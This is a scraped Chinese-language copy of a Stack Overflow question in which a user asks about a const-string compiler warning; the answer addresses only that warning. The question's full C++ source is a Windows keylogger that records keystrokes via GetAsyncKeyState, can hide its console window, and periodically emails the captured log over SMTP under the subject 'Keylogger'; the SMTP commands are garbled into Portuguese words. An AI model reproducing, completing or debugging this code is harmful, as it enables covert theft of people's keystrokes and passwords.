gpt4 book ai didi

c++ - 问候,我的代码中有语法问题。你能帮助我吗?

转载 作者:行者123 更新时间:2023-12-02 09:53:30 26 4
gpt4 key购买 nike

我有一个用c++编写的代码,但是我使用的是称为DEV-C++的IDE,它会出现编译错误:

[警告]不建议将字符串常量转换为'char *'[-Wwrite-strings]

错误指向if:savePressedKey内部的条件。

if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);
now = clock();
}

我的代码在下面,也通过链接: https://godbolt.org/z/zqgCzS
#include <stdio.h>
#include <windows.h>
#include <time.h>

#define INVISIBLE_CONSOLE 0
#define SILENT_CONSOLE 0

#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100

#define FILE_NAME "MarcadorLog.txt"

#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "teste@gmail.com"
#define EMAIL_TO "teste@gmail.com"

void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);

void verifyStealthMode() {
if(INVISIBLE_CONSOLE) {
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
}

void savePressedKey(char pressedKey, char fileName[]) {
FILE *file = fopen(fileName, "a+");

fputc(pressedKey, file);
fclose(file);
}

int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
int pressedKey = 0;

for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
if(GetAsyncKeyState(character) == -32767) {
pressedKey = character;
}
}

return pressedKey;
}

int getFileLength(char fileName[]) {
FILE *file = fopen(fileName, "rb");

fseek(file, 0, SEEK_END);

int fileLength = ftell(file);

fclose(file);

return fileLength;
}

char *getBufferFromFile(char fileName[]) {
FILE *file = fopen(fileName, "rb");

int fileLength = getFileLength(fileName);

char *buffer = (char *) malloc(fileLength + 1);

fread(buffer, sizeof(char), fileLength, file);

buffer[fileLength] = '\0';

fclose(file);

return buffer;
}

void overrideFile(char fileName[]) {
FILE *file = fopen(fileName, "w");

fclose(file);
}

int main() {
verifyStealthMode();

clock_t timer;
clock_t now = clock();

while(1) {
int pressedKey = getPressedKeyBetweenASCII(8, 255);

if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);

now = clock();
}

timer = (clock() - now) / CLOCKS_PER_SEC;

if(timer > LISTENER_TIMER) {
int fileLength = getFileLength(FILE_NAME);

if(fileLength > 0) {
sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));

overrideFile(FILE_NAME);
}

now = clock();
} else if(!SILENT_CONSOLE) {
system("cls");
printf("Lendo...");
printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
}
}

return 0;
}

void sendData(SOCKET sock, char data[]) {
send(sock, data, strlen(data), 0);
Sleep(SENDER_SLEEP_TIME);

if(!SILENT_CONSOLE) printf("\n%s", data);
}

void sendEmail(char server[], char from[], char to[], char buffer[]) {
SOCKET sock;
WSADATA wsaData;
struct hostent *host;
struct sockaddr_in dest;

char data[3000];

// Get socket and dest:
WSAStartup(0x202, &wsaData);

host = gethostbyname(server);

memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host->h_addr, host->h_length);

dest.sin_family = host->h_addrtype;
dest.sin_port = htons(25);

sock = socket(AF_INET, SOCK_STREAM, 0);

connect(sock, (struct sockaddr *) &dest, sizeof(dest));
Sleep(SENDER_SLEEP_TIME);

sprintf(data, "Ola me.somepalace.com\n");
sendData(sock, data);

sprintf(data, "Email de: <%s>\n", from);
sendData(sock, data);

sprintf(data, "recebido por: <%s>\n", to);
sendData(sock, data);

sprintf(data, "DATA\n");
sendData(sock, data);

sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
sendData(sock, data);

sprintf(data, "sair\n");
sendData(sock, data);

if(!SILENT_CONSOLE) {
printf("\ntodos os pacotes foram enviados");
Sleep(5000);
system("cls");
}

closesocket(sock);
WSACleanup();
}

最佳答案

此警告意味着您正在尝试将在C++中(与C相反)的具有常量字符数组类型的字符串文字传递给函数,该函数的相应参数没有限定符const

如果此函数不更改传递的字符串,则应声明为

void savePressedKey(char pressedKey, const char fileName[]);

否则,如果函数使用字符串文字作为参数更改传递的字符串,将导致未定义的行为。

即使该程序是C程序,也应使用限定符 const声明该参数。

关于c++ - 问候,我的代码中有语法问题。你能帮助我吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/62269955/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com